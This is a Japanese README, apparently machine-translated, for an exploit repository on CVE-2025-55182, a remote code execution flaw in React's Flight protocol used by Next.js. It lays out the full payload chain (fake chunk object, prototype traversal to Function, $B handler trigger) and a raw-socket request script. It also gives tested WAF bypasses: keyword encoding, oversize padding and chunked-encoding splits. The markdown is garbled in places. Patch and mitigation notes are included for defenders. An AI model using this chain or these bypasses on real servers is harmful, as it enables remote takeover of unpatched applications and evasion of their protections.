注: AI/Claude によって作成されました。
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 は、React の Flight Protocol における重大な RCE 脆弱性です。この攻撃は、パストラバーサル + 偽チャンクインジェクション + $B ハンドラの悪用 を連鎖させ、Function(attacker_code) を実行します。
動作するエクスプロイトチェーンを提供してくれた maple3142 に大きな感謝を!
このエクスプロイトは、3 つのフォームフィールドを使用して悪意のあるペイロードを構築します:
then を持つ 偽のチャンクオブジェクト を作成します (フィールド 1 $@0 → フィールド 0)_formData.get が に設定された を埋め込みます$1:constructor:constructor_responseresponse._formData.get(response._prefix + id) を呼び出す $B ハンドラ をトリガーします_formData.get → Function が解決され、Function(code) を実行します┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### 主要コンポーネント
| コンポーネント | 目的 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 自己参照的なthenable; チャンク1 (`$@0`) はチャンク0を指す |
| `status: "resolved_model"` | オブジェクトを有効なReactチャンクとして見せる |
| `reason: -1` | rootReferenceをundefinedに設定(参照競合を回避) |
| `value: '{"then":"$B1337"}'` | `$B`ハンドラをトリガーするネストされたペイロード |
| `_response._prefix` | RCEコード文字列を含む |
| `_response._chunks: "$Q2"` | チャンク処理中のクラッシュを防ぐ空のMap |
| `_response._formData.get` | `$1:constructor:constructor`を介して`Function`を指す |
### コンポーネントの詳細
#### フォームフィールドの構造
このエクスプロイトは循環参照を持つ3つのフォームフィールドを使用します:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then" は、実際の関数に解決される自己参照を作成します:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**これが重要な理由:**
1. `then`は`Chunk.prototype.then`(実際の呼び出し可能な関数)に解決されます
2. これにより、偽のオブジェクトは有効なthenableになります
3. 待機されると、JSは`obj.then(resolve, reject)`を呼び出します
4. `Chunk.prototype.then`は偽のオブジェクトを`this`として実行します:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) は this._response - 攻撃者の偽の _response を使用します:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**自己参照がなければ**、偽の`_response`は決して使用されません。自己参照により、`Chunk.prototype.then`は攻撃者のオブジェクトを実際のChunkとして扱います。
#### 二段階のThenableトリガー (`value`)
`value`フィールドには、別のthenableを含むネストされたJSON文字列が含まれています:```json
{"then":"$B1337"}
Stage 1: 外部オブジェクトの自己参照的な then がチャンク処理をトリガーします
Stage 2: Reactがモデルを解決するとき、value を解析し、then: "$B1337" を持つ別のthenableに遭遇します。$B プレフィックスがハンドラをトリガーします:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` は `"$1:constructor:constructor"` → `getOutlinedModel()` は `Function` に解決される。
これは次のようになる:`Function(code + "1337")` → 有効なJSである。なぜなら `1337` は単なる末尾の式だからである。
#### 防御的パディング(`_chunks`)
偽の `_response` は、クラッシュを防ぐために有効な `_chunks` プロパティを必要とする:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Reactの内部コードは、処理中に response._chunks.get() または response._chunks.has() にアクセスすることがあります。空のMapはこれらの呼び出しをエラーなく満たし、脆弱な $B ハンドラに実行が到達することを可能にします。
| パス | 関数 | エクスプロイトにおける目的 |
|---|---|---|
| パストラバーサル | getOutlinedModel() | $1:constructor:constructor を解決して Function を取得 |
偽の _response インジェクション | initializeModelChunk() | 攻撃者の chunk._response を使用 |
$B ハンドラ | parseModelString() | _formData.get(_prefix + id) を呼び出して RCE を実行 |
decodeReply() はエントリポイントであり、それ自体は脆弱ではありません。
パストラバーサル (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**疑似レスポンスの使用法** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## 修正 (19.2.1)
パッチには複数の修正が含まれています:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - 重要な修正 ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty check in getOutlinedModel() - プロトタイプの走査をブロックします。 ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ handling in reviveModel() - プロトタイプ汚染を防ぎます ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk()における型チェック - リスナーを検証します ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| 能力 | ステータス | 備考 |
|---|---|---|
| プロトタイプチェーン横断 | ✓ 確認済み | Via $1:constructor:constructor |
| Functionコンストラクターへのアクセス | ✓ 確認済み | マニフェスト不要 |
| 完全なRCE | ✓ 確認済み | 偽のチャンク + $Bハンドラー経由 |
このセクションでは、従来のパターンマッチングWAFルールがこのエクスプロイトを確実に検出できない理由を説明します。これらの制限を理解することは、防御態勢を評価するセキュリティチームにとって重要です。
エクスプロイトペイロードは複数のパーサーを通過し、各パーサーは異なるエンコーディングをサポートしています。生のHTTPバイトを検査するWAFはエンコードされた文字列を見ますが、サーバーは処理前にそれらをデコードします:
| レイヤー | パーサー | デコード内容 |
|---|---|---|
| JSON構造 | JSON.parse() | \uXXXX Unicodeエスケープ |
| JavaScriptコード | Function() コンストラクター | \uXXXX, \xXX, 八進数, fromCharCode() |
これにより根本的な不一致が生じます: WAFはエンコードされたバイトを見ますが、アプリケーションはデコードされた文字列を見ます。
単純なWAFはconstructor、__proto__、resolved_model、child_processなどのパターンを探すかもしれません。しかし、JSONは任意の文字に対してUnicodeエスケープを許可しています:
| リテラルパターン | Unicode相当 | WAF検出 |
|---|---|---|
constructor | \u0063onstructor | 回避 |
__proto__ | \u005f\u005fproto\u005f\u005f | 回避 |
resolved_model | \u0072esolved_model | 回避 |
$@ (循環参照) | $\u0040 | 回避 |
ペイロード内のJavaScriptコードにはさらに多くのエンコーディングオプションがあります:
| パターン | エンコーディングオプション |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, 数値文字コード, Base64 |
| 任意の識別子 | ブラケット記法: this[S(112,114,...)] (S=String.fromCharCode) |
すべてのエンコーディング手法を組み合わせると:
\u0074\u0068\u0065\u006e は then の例)S(99,104,105,108,100,95,...) は child_process の例)HTTPボディをスキャンするWAFは、エスケープシーケンスと数字だけを見ます - 従来の攻撃シグネチャに一致するものは何もありません。
Next-ActionヘッダーはServer Actionリクエストを識別します。ヘッダー名はUnicodeエンコードできませんが (RFC 7230はASCIIトークンを要求)、WAFとサーバー間の正規化の違いが検出のギャップを生み出します:
| バリアント | サーバーの動作 | WAFのリスク |
|---|---|---|
next-action (小文字) | 受け入れられる (HTTPは大文字小文字を区別しない) | WAFが正確な大文字小文字を期待する場合に見逃される |
Next-Action:\tx (タブ) | 受け入れられる (空白は正規化される) | WAFがスペースを期待する場合に見逃される |
Next-Action: x (スペース) | 受け入れられる | 正規化なしで見逃される |
パッチ適用が唯一の信頼できる緩和策です。 エンコーディングの柔軟性のため、WAFルールはこの攻撃を包括的にブロックできません。
必要なバージョン:
パッチ適用が遅れる場合、以下を検討してください:
\uXXXX、\xXX をデコードし、fromCharCode() 呼び出しを正規化する必要があります_response、_prefix、_chunks、または循環参照 ($@0) を含むJSON構造を探しますnext-action ヘッダーを大文字小文字を区別せずにマッチングし、空白をトリミングしますNext-Action ヘッダーがあるリクエストを完全にブロックしますFunction() 呼び出しでアラートを発生させます重要な教訓: パターンマッチングだけではこのクラスの攻撃には失敗します。エンコーディングの表面積が大きすぎて列挙できません。
包括的なWAFルールがあっても、AWS WAFには悪用可能なボディ検査サイズ制限があります。このセクションでは、過大なペイロードを使用したテスト済みのバイパス手法を文書化します。
AWS WAFはリクエストボディの一部のみを検査します:
| バックエンド | デフォルトの制限 | 設定可能な最大値 |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandling の問題WAFルールは、検査制限を超えるリクエストの処理方法を指定します:
| 設定 | 動作 | 悪用可能? |
|---|---|---|
CONTINUE | 利用可能なバイトを検査し、ルールを評価 | はい - 制限後のペイロードは検査されない |
MATCH | 一致とみなす (ブロック) | いいえ - 過大なリクエストをブロック |
NO_MATCH | 不一致とみなす | はい - 通過する |
WAFルールで OversizeHandling: CONTINUE が使用されている場合 (一般的なデフォルト)、バイパスは簡単です。
エクスプロイトペイロードの前に無害なパディングデータを配置し、検査ウィンドウの外側に置きます:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### テスト結果
すべてのオーバーサイズペイロードがNext.jsでRCEに成功しました:
| パディングサイズ | 総ボディサイズ | エクスプロイトオフセット | 結果 |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### チャンク転送エンコーディングのバイパス
HTTP/1.1のチャンク転送エンコーディングは、ボディを個別のチャンクに分割します。WAFがチャンクを**再構築前**に検査する場合、チャンク境界にまたがるパターンは一致しなくなります。
#### 仕組み```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
チャンク間で分割されたパターン:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### テストしたチャンク戦略
| 戦略 | 説明 | 結果 |
|----------|-------------|--------|
| Split at `$@` | `"$` \| `@0"` | ✅ RCE |
| 10-byte fragments | 本文を10バイトごとに分割 | ✅ RCE |
| 5-byte fragments | 本文を5バイトごとに分割 | ✅ RCE |
| Split at `status` | `sta` \| `tus` | ✅ RCE |
すべての戦略でRCEに成功 - Next.jsはチャンク化されたリクエストを正しく再構築します。
#### 生ソケットの例```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| WAFの種類 | チャンク処理 | バイパスの可能性? |
|---|---|---|
| AWS WAF (ALB) | 検査前に再構成 | 低い |
| AWS WAF (CloudFront) | 検査前に再構成 | 低い |
| 一部のレガシーWAF | チャンクごとに検査 | はい |
| Nginx ModSecurity | 設定可能 | 設定に依存 |
注: AWS WAFは通常、検査前にチャンク化されたボディを再構成します。ただし、これは環境ごとに確認する必要があります。設定は異なるためです。
OversizeHandling を MATCH に変更 ```json
"OversizeHandling": "MATCH"
This blocks any request exceeding the inspection limit when rule conditions are met.
Increase body inspection limit (CloudFront/API Gateway only) Configure up to 64KB in web ACL settings, but this doesn't fully prevent the bypass.
Add size-based blocking rule
Block POST requests with Next-Action header exceeding a reasonable size (e.g., 10KB).
Patch the application - The only complete solution.
See included test scripts:
test-simple.cjs - Baseline non-chunked payload testtest-oversize.cjs - Tests padding sizes from 0-128KBtest-chunked-v2.cjs - Chunked transfer encoding with $@ splittest-chunked-bypass.cjs - Multiple chunking strategies (5-byte, 10-byte, pattern splits)Usage:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## 研究の旅
### 脆弱性: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
With payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Function を取得できましたが、RCEを達成するには制御された引数でそれを呼び出す必要があります。以下の経路は失敗しました:
1. Thenable パス(ブロック済み)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction パス (ブロック済み)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. イテレータパス(ブロック済み)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### 突破口
maple3142は欠けていたピースを見つけました:`$B`ハンドラと偽の`_response`チェーンです。`then`を自己参照経由で`Chunk.prototype.then`に解決させることで、偽の`_response`が使用され、RCEが可能になります。
---
## 主な発見
1. **`getOutlinedModel()`の脆弱性は現実** - コロン区切りのパスによりプロトタイプチェーンの探索が可能
2. **Functionコンストラクタにアクセス可能** - `$1:constructor:constructor`がserverManifestなしで動作
3. **RCEは達成可能** - 制御された`_response`を持つ偽のチャンクを作成することで:
- 自己参照`$1:__proto__:then` → `Chunk.prototype.then`により偽の`_response`が使用される
- 偽のチャンク構造はReactの内部Chunkクラスを模倣
- `_response._formData.get` → `Function`コンストラクタ
- `_response._prefix` → 悪意のあるコード文字列
- `$B`ハンドラが`Function(malicious_code)`をトリガー
4. **修正は包括的** - 複数の`hasOwnProperty`チェックと型検証
---
## 参考文献
- [maple3142のGist](https://gist.github.com/maple3142) - RCEチェーンの発見
- [Reactセキュリティアドバイザリ](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAFルール](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## 免責事項
このリポジトリは**教育および防御的なセキュリティ研究のみ**を目的としています。この脆弱性は修正されました。すぐに依存関係をアップグレードしてください。